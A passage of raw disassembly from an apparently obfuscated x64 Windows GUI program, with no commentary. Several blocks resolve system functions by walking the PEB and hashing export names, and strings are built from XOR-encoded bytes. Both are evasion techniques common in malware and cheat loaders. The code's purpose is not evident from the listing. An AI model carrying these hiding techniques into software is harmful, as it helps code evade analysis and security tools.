mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e126
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e126
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x28453563
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e121
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e100
cmp r8d, 0x9142cdc2
je 0x14006e12b
test r9d, r9d
jne 0x14006e0e0
mov rax, qword [rax]
jmp 0x14006e0b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x7b]
call fcn.140082f70
mov rcx, rax
call fcn.14008de90
mov rbx, rax
lea rcx, [rbp - 0x7a]
call fcn.140082e90
mov rcx, rax
call fcn.14008dec0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
call fcn.140051780
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14006e207
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006e207
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x30d0c676
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006e202
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006e1e0
cmp edx, 0x9054b5de
je 0x14006e2bb
test r8d, r8d
jne 0x14006e1c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14006e21d
cmp qword [rax + 0x30], 0
jne 0x14006e190
mov rdx, r14
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e2b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e2b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xfde45195
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e2b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e290
cmp r8d, 0x14e86ef4
je 0x14006e2d7
test r9d, r9d
jne 0x14006e270
mov rax, qword [rax]
jmp 0x14006e240
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006e220
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x79]
call fcn.1400830b0
mov rcx, rax
call fcn.14008de00
mov rbx, rax
lea rcx, [rbp - 0x78]
call fcn.140082fd0
mov rcx, rax
call fcn.14008de30
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
lea rdx, [rbp + 0x2a98]
lea rcx, [rbp + 0x2ab8]
call fcn.140066ae0
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
lea rax, [rbp + 0xba8]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xba8]
call fcn.140056470
mov rbx, rax
mov byte [rbp + 0x560], Ordinal_79
mov byte [rbp + 0x561], 0x55
mov byte [rbp + 0x562], 0x5e
mov byte [rbp + 0x563], 0x43
mov byte [rbp + 0x564], 0x5f
mov byte [rbp + 0x565], 0x43
mov byte [rbp + 0x566], 0x57
mov byte [rbp + 0x567], 0x41
mov byte [rbp + 0x568], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x569], 0x50
mov byte [rbp + 0x56a], Ordinal_79
mov byte [rbp + 0x56b], 0x52
mov byte [rbp + 0x56c], 0
mov byte [rbp + 0x56d], 1
lea rdx, [rbp + 0x18e8]
lea rcx, [rbp + 0x560]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x18e8]
call fcn.14004b5f0
nop
mov r8b, 1
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x18e8]
call fcn.140090bf0
call fcn.1400559f0
call fcn.140055490
lea rax, [rbp + 0xbc0]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xbc0]
call fcn.140055c90
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x860], xmm0
mov byte [rbp + 0x870], 1
lea rdx, [rbp + 0x1908]
lea rcx, [rbp + 0x860]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1908]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1908]
call fcn.140090bf0
lea rax, [rbp + 0xbd8]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xbd8]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x878], xmm0
mov byte [rbp + 0x888], 1
lea rdx, [rbp + 0x1928]
lea rcx, [rbp + 0x878]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1928]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1928]
call fcn.140090bf0
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x890], xmm0
mov byte [rbp + 0x8a0], 1
lea rdx, [rbp + 0x1948]
lea rcx, [rbp + 0x890]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1948]
call fcn.14004b5f0
mov ecx, eax
call fcn.14004bcd0
nop
lea rcx, [rbp + 0x1948]
call fcn.140090bf0
lea rax, [rbp + 0xbf0]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xbf0]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x570], Ordinal_79
mov byte [rbp + 0x571], 0x55
mov byte [rbp + 0x572], 0x5e
mov byte [rbp + 0x573], 0x43
mov byte [rbp + 0x574], 0x5f
mov byte [rbp + 0x575], 0x43
mov byte [rbp + 0x576], 0x57
mov byte [rbp + 0x577], 0x41
mov byte [rbp + 0x578], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x579], 0x50
mov byte [rbp + 0x57a], Ordinal_79
mov byte [rbp + 0x57b], 0x52
mov byte [rbp + 0x57c], 0
mov byte [rbp + 0x57d], 1
lea rdx, [rbp + 0x1968]
lea rcx, [rbp + 0x570]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1968]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1968]
call fcn.140090bf0
lea rax, [rbp + 0xc08]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xc08]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [0x1401ccb60]
movdqu xmmword [rbp + 0xa70], xmm0
mov byte [rbp + 0xa80], 0x59
mov byte [rbp + 0xa81], 0
mov byte [rbp + 0xa82], 1
lea rdx, [rbp + 0x1988]
lea rcx, [rbp + 0xa70]
call fcn.14008e550
nop
lea rcx, [rbp + 0x1988]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1988]
call fcn.140090bf0
lea rax, [rbp + 0xc20]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xc20]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x420], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x421], 0x59
mov byte [rbp + 0x422], 0x48
mov byte [rbp + 0x423], 0x42
mov byte [rbp + 0x424], 0x5f
mov byte [rbp + 0x425], 0x5f
mov byte [rbp + 0x426], Ordinal_32
mov byte [rbp + 0x427], 0x56
mov byte [rbp + 0x428], Ordinal_79
mov byte [rbp + 0x429], 0x50
mov byte [rbp + 0x42a], 0
mov byte [rbp + 0x42b], 1
lea rdx, [rbp + 0x19a8]
lea rcx, [rbp + 0x420]
call fcn.14008e4e0
nop
lea rcx, [rbp + 0x19a8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x19a8]
call fcn.140090bf0
lea rax, [rbp + 0xc38]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xc38]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x360], 0x40
mov byte [rbp + 0x361], 0x5e
mov byte [rbp + 0x362], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x363], 0x5c
mov byte [rbp + 0x364], 0x43
mov byte [rbp + 0x365], Ordinal_32
mov byte [rbp + 0x366], 0x57
mov byte [rbp + 0x367], Ordinal_79
mov byte [rbp + 0x368], 0x51
mov byte [rbp + 0x369], 0
mov byte [rbp + 0x36a], 1
lea rdx, [rbp + 0x19c8]
lea rcx, [rbp + 0x360]
call fcn.14008f030
nop
lea rcx, [rbp + 0x19c8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x19c8]
call fcn.140090bf0
lea rax, [rbp + 0xc50]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xc50]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0xc8], 0x7c
mov byte [rbp + 0xc9], Ordinal_79
mov byte [rbp + 0xca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xcb], 0x7c
mov byte [rbp + 0xcc], 0x46
mov byte [rbp + 0xcd], 0x52
mov byte [rbp + 0xce], 0
mov byte [rbp + 0xcf], 1
lea rdx, [rbp + 0x19e8]
lea rcx, [rbp + 0xc8]
call fcn.14008efc0
nop
lea rcx, [rbp + 0x19e8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x19e8]
call fcn.140090bf0
lea rax, [rbp + 0xc68]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xc68]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x370], 0x68
mov byte [rbp + 0x371], 0x44
mov byte [rbp + 0x372], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x373], 0x48
mov byte [rbp + 0x374], 0x64
mov byte [rbp + 0x375], 0x43
mov byte [rbp + 0x376], 0x53
mov byte [rbp + 0x377], 0x50
mov byte [rbp + 0x378], 0x5f
mov byte [rbp + 0x379], 0
mov byte [rbp + 0x37a], 1
lea rdx, [rbp + 0x1a08]
lea rcx, [rbp + 0x370]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1a08]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1a08]
call fcn.140090bf0
lea rax, [rbp + 0xc80]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xc80]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0xa4], 0x68
mov byte [rbp + 0xa5], 0x7d
mov byte [rbp + 0xa6], 0x7d
mov byte [rbp + 0xa7], 0
mov byte [rbp + 0xa8], 1
lea rdx, [rbp + 0x1a28]
lea rcx, [rbp + 0xa4]
call fcn.14008eee0
nop
lea rcx, [rbp + 0x1a28]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1a28]
call fcn.140090bf0
lea rax, [rbp + 0xc98]
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xc98]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x280], 0x68
mov byte [rbp + 0x281], 0x43
mov byte [rbp + 0x282], 0x5d
mov byte [rbp + 0x283], Ordinal_79
mov byte [rbp + 0x284], 0x51
mov byte [rbp + 0x285], 0x52
mov byte [rbp + 0x286], 0x5a
mov byte [rbp + 0x287], 0x56
mov byte [rbp + 0x288], 0
mov byte [rbp + 0x289], 1
lea rdx, [rbp + 0x1a48]
lea rcx, [rbp + 0x280]
call fcn.14008e470
nop
lea rcx, [rbp + 0x1a48]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1a48]
call fcn.140090bf0
mov dword [0x1402110fc], 4
lea rcx, [rbp + 0x2a98]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x2ab8]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x2ad8]
call fcn.140090bf0
jmp 0x14006eb04
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006eab6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006eab6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x623ac7bd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006eab1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006ea90
cmp r8d, 0x1e4c135c
je 0x14006eabb
test r9d, r9d
jne 0x14006ea70
mov rax, qword [rax]
jmp 0x14006ea40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x77]
call fcn.1400831d0
mov rcx, rax
call fcn.14008dd80
mov rbx, rax
lea rcx, [rbp - 0x76]
call fcn.140083110
mov rcx, rax
call fcn.14008ddb0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
lea rcx, [rbp - 0x75]
call fcn.140083230
mov rcx, rax
call fcn.14008dd50
mov qword [rsp + 0x70], rax
mov rcx, rax
call fcn.14005a220
movzx r13d, al
mov byte [rbp - 0x74], al
cmp dword [rbp + 0x2d20], 0x12
je 0x1400827bf
lea rsi, [0x140214470]
xorps xmm9, xmm9
movss xmm10, dword [0x1401cb4d0]
movss xmm6, dword [0x1401cb60c]
movss xmm14, dword [0x1401cb600]
movss xmm13, dword [0x1401cb5f4]
movss xmm11, dword [0x1401cb648]
movss xmm15, dword [0x1401cb610]
mov edi, 0x130
cmp byte [0x14021077b], 0
jne 0x1400827bf
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2d18]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14006ec6d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ec36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ec36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb049e761
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006ec31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006ec10
cmp r8d, 0xb02ae258
je 0x14006ec3b
test r9d, r9d
jne 0x14006ebf0
mov rax, qword [rax]
jmp 0x14006ebc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x2d18]
call rdx
lea rcx, [rbp + 0x2d18]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14008279a
call fcn.1400363d0
call fcn.1400373f0
call fcn.140008610
cmp dword [0x1402110fc], 4
jl 0x14006ec8c
call fcn.14006cb80
jmp 0x14006ec91
call fcn.14006c880
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0xd0]
call fcn.140002800
mov rbx, rax
movaps xmm2, xmm8
movaps xmm1, xmm7
lea rcx, [rbp + 0xd8]
call fcn.140002800
mov r8, rbx
mov edx, 2
mov rcx, rax
call fcn.140012860
movaps xmm0, xmm10
call fcn.1400128e0
movaps xmm2, xmm6
cmp dword [0x1402110fc], 4
jge 0x14006ecf1
lea rcx, [rbp + 0xe0]
movss xmm1, dword [0x1401cb618]
jmp 0x14006ed00
lea rcx, [rbp + 0xe8]
movss xmm1, dword [0x1401cb61c]
call fcn.140002800
mov rcx, rax
xor edx, edx
call fcn.1400128b0
cmp dword [0x1402110fc], 4
jge 0x14006ed29
mov rcx, r15
call fcn.140012550
cmp dword [0x1402110fc], 4
jl 0x14006ed42
mov rcx, qword [rbp + 0xc0]
call fcn.140012550
cmp dword [0x1402110fc], 4
jge 0x14006ee82
mov edx, edi
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140214498], eax
jle 0x14006ed97
lea rcx, [0x140214498]
call fcn.1400fcfdc
cmp dword [0x140214498], 0xffffffff
jne 0x14006ed97
mov rax, qword [0x140210780]
movsd xmm0, qword [rax + 0x1c88]
cvtpd2ps xmm0, xmm0
movss dword [0x1402144a0], xmm0
lea rcx, [0x140214498]
call fcn.1400fcf7c
mov rax, qword [0x140210780]
movsd xmm1, qword [rax + 0x1c88]
movss xmm0, dword [0x1402144a0]
cvtps2pd xmm0, xmm0
subsd xmm1, xmm0
cvtpd2ps xmm7, xmm1
lea rcx, [rbp + 0x2840]
call fcn.140002810
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm8, xmm0
addss xmm8, xmm10
mulss xmm8, xmm12
movaps xmm0, xmm7
addss xmm0, dword [0x1401cb500]
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm6, xmm0
addss xmm6, xmm10
mulss xmm6, xmm12
addss xmm7, dword [0x1401cb558]
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
addss xmm0, xmm10
mulss xmm0, xmm12
mov dword [rbp + 0x284c], 0x3f666666
movups xmm7, xmmword [rbp + 0x2840]
movss xmm7, xmm8
movups xmmword [rbp + 0x2840], xmm7
shufps xmm7, xmm7, 0xe1
movss xmm7, xmm6
shufps xmm7, xmm7, 0xe1
movups xmmword [rbp + 0x2840], xmm7
shufps xmm7, xmm7, 0xd2
movss xmm7, xmm0
shufps xmm7, xmm7, 0xc9
movups xmmword [rbp + 0x2840], xmm7
call fcn.140004cf0
movups xmmword [rax + 0x114], xmm7
movups xmm6, xmmword [rbp + 0x2840]
call fcn.140004cf0
movups xmmword [rax + 0x124], xmm6
cmp dword [0x1402110fc], 4
mov ebx, Ordinal_301
jl 0x14006ee87
mov ebx, 3
call fcn.140069910
mov r15, rax
mov r8d, ebx
lea rdx, reloc.WS2_32.dll_accept
mov rcx, rax
call fcn.14000f2a0
cmp dword [0x1402110fc], 4
jge 0x14007024b
lea rcx, [rbp + 0xf0]
call fcn.140013320
movss xmm2, dword [0x1401cb5cc]
movss xmm1, dword [rax]
lea rcx, [rbp + 0xf8]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x73]
call fcn.1400832a0
mov rcx, rax
call fcn.14008dd20
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
movss xmm6, dword [0x1401cb598]
movaps xmm2, xmm6
movss xmm1, dword [0x1401cb5e8]
lea rcx, [rbp + 0x100]
call fcn.140002800
mov rcx, rax
call fcn.140013100
movaps xmm2, xmm6
movss xmm7, dword [0x1401cb5c4]
movaps xmm1, xmm7
lea rcx, [rbp + 0x108]
call fcn.140002800
mov rdx, rax
lea rcx, [0x1401ca038]
call fcn.14003ae70
mov ecx, dword [0x1402110fc]
test al, al
cmovne ecx, r14d
mov dword [0x1402110fc], ecx
movaps xmm2, xmm6
movss xmm8, dword [0x1401cb5fc]
movaps xmm1, xmm8
lea rcx, [rbp + 0x110]
call fcn.140002800
mov rcx, rax
call fcn.140013100
movaps xmm2, xmm6
movaps xmm1, xmm7
lea rcx, [rbp + 0x118]
call fcn.140002800
mov rdx, rax
lea rcx, [0x1401ca03c]
call fcn.14003ae70
mov ecx, dword [0x1402110fc]
test al, al
cmovne ecx, r12d
mov dword [0x1402110fc], ecx
call fcn.14000c1a0
cmp dword [0x1402110fc], 4
jge 0x140070263
lea rcx, [rbp + 0x120]
call fcn.140013320
movss xmm6, dword [rax + 4]
lea rcx, [rbp + 0x128]
call fcn.140013320
movaps xmm2, xmm6
movss xmm1, dword [rax]
lea rcx, [rbp + 0x130]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x72]
call fcn.140083300
mov rcx, rax
call fcn.14008dcf0
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
cmp dword [0x1402110fc], 0
jne 0x14006fdda
lea rcx, [rbp + 0x138]
call fcn.140013320
movss xmm0, dword [rax]
mulss xmm0, xmm12
subss xmm0, dword [0x1401cb574]
call fcn.140013180
lea rcx, [rbp - 0x71]
call fcn.140083370
mov rcx, rax
call fcn.14008dcc0
mov rcx, rax
call fcn.14003a290
call fcn.14003c9a0
lea rcx, [rbp + 0x140]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
movsd xmm6, qword [0x1401cb508]
divsd xmm0, xmm6
subsd xmm0, qword [0x1401cb540]
cvtpd2ps xmm0, xmm0
call fcn.140013180
lea rcx, [rbp - 0x70]
call fcn.140083430
mov rcx, rax
call fcn.14008dc40
mov rbx, rax
lea rcx, [rbp - 0x6f]
call fcn.1400833d0
mov rcx, rax
call fcn.14008dc80
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9d, reloc.WS2_32.dll_sendto
lea r8, [0x140210808]
mov rdx, rbx
mov rcx, rax
call fcn.14003df60
call fcn.14003c9a0
lea rcx, [rbp + 0x148]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm6
subsd xmm0, qword [0x1401cb540]
cvtpd2ps xmm0, xmm0
call fcn.140013180
lea rcx, [rbp - 0x6e]
call fcn.1400834f0
mov rcx, rax
call fcn.14008dbc0
mov rbx, rax
lea rcx, [rbp - 0x6d]
call fcn.140083490
mov rcx, rax
call fcn.14008dc00
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x8000
mov r9d, reloc.WS2_32.dll_sendto
lea r8, [0x140210868]
mov rdx, rbx
mov rcx, rax
call fcn.14003df60
call fcn.14003c9a0
lea rcx, [rbp + 0x150]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm6
subsd xmm0, qword [0x1401cb540]
cvtpd2ps xmm0, xmm0
call fcn.140013180
lea rcx, [rbp - 0x6c]
call fcn.140083550
mov rcx, rax
call fcn.14008db70
mov rcx, rax
lea rdx, [0x140210779]
call fcn.14003c4a0
call fcn.14003c9a0
lea rcx, [rbp + 0x158]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm6
addsd xmm0, qword [0x1401cb520]
cvtpd2ps xmm0, xmm0
call fcn.140013180
movss xmm2, dword [0x1401cb598]
movaps xmm1, xmm7
lea rcx, [rbp + 0x160]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x6b]
call fcn.1400835f0
mov rcx, rax
call fcn.14008db40
mov rdx, rbx
mov rcx, rax
call fcn.14003ae70
test al, al
je 0x14006fdd3
lea rax, [rbp + 0x1a68]
mov qword [rbp + 0x60], rax
lea rdx, [0x140210868]
lea rcx, [rbp + 0x1a68]
call fcn.140090c30
mov rbx, rax
lea rdx, [0x140210808]
lea rcx, [rbp + 0x1a88]
call fcn.140090c30
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140211120]
call fcn.1400a26f0
cmp byte [0x140211360], 0
jne 0x14006f353
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f2f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f2f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xabbea0a3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f2f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f2d0
cmp r8d, 0x3ad15902
je 0x14006f2fb
test r9d, r9d
jne 0x14006f2b0
mov rax, qword [rax]
jmp 0x14006f280
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x6a]
call fcn.140083720
mov rcx, rax
call fcn.14008dac0
mov rbx, rax
lea rcx, [rbp - 0x69]
call fcn.140083650
mov rcx, rax
call fcn.14008daf0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
call fcn.140051780
call fcn.14000c1a0
jmp 0x14006fde2
lea rax, [rbp + 0xcb0]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xcb0]
call fcn.140056470
mov rbx, rax
mov byte [rbp + 0x580], Ordinal_79
mov byte [rbp + 0x581], 0x55
mov byte [rbp + 0x582], 0x5e
mov byte [rbp + 0x583], 0x43
mov byte [rbp + 0x584], 0x5f
mov byte [rbp + 0x585], 0x43
mov byte [rbp + 0x586], 0x57
mov byte [rbp + 0x587], 0x41
mov byte [rbp + 0x588], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x589], 0x50
mov byte [rbp + 0x58a], Ordinal_79
mov byte [rbp + 0x58b], 0x52
mov byte [rbp + 0x58c], 0
mov byte [rbp + 0x58d], 1
lea rdx, [rbp + 0x1aa8]
lea rcx, [rbp + 0x580]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1aa8]
call fcn.14004b5f0
nop
mov r8b, 1
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1aa8]
call fcn.140090bf0
call fcn.1400559f0
call fcn.140055490
lea rax, [rbp + 0xb90]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xb90]
call fcn.140055c90
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x8a8], xmm0
mov byte [rbp + 0x8b8], 1
lea rdx, [rbp + 0x1ac8]
lea rcx, [rbp + 0x8a8]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1ac8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1ac8]
call fcn.140090bf0
lea rax, [rbp + 0xce0]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xce0]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x8c0], xmm0
mov byte [rbp + 0x8d0], 1
lea rdx, [rbp + 0x1ae8]
lea rcx, [rbp + 0x8c0]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1ae8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1ae8]
call fcn.140090bf0
movdqa xmm0, xmmword [str.__O_DBQAQPX]
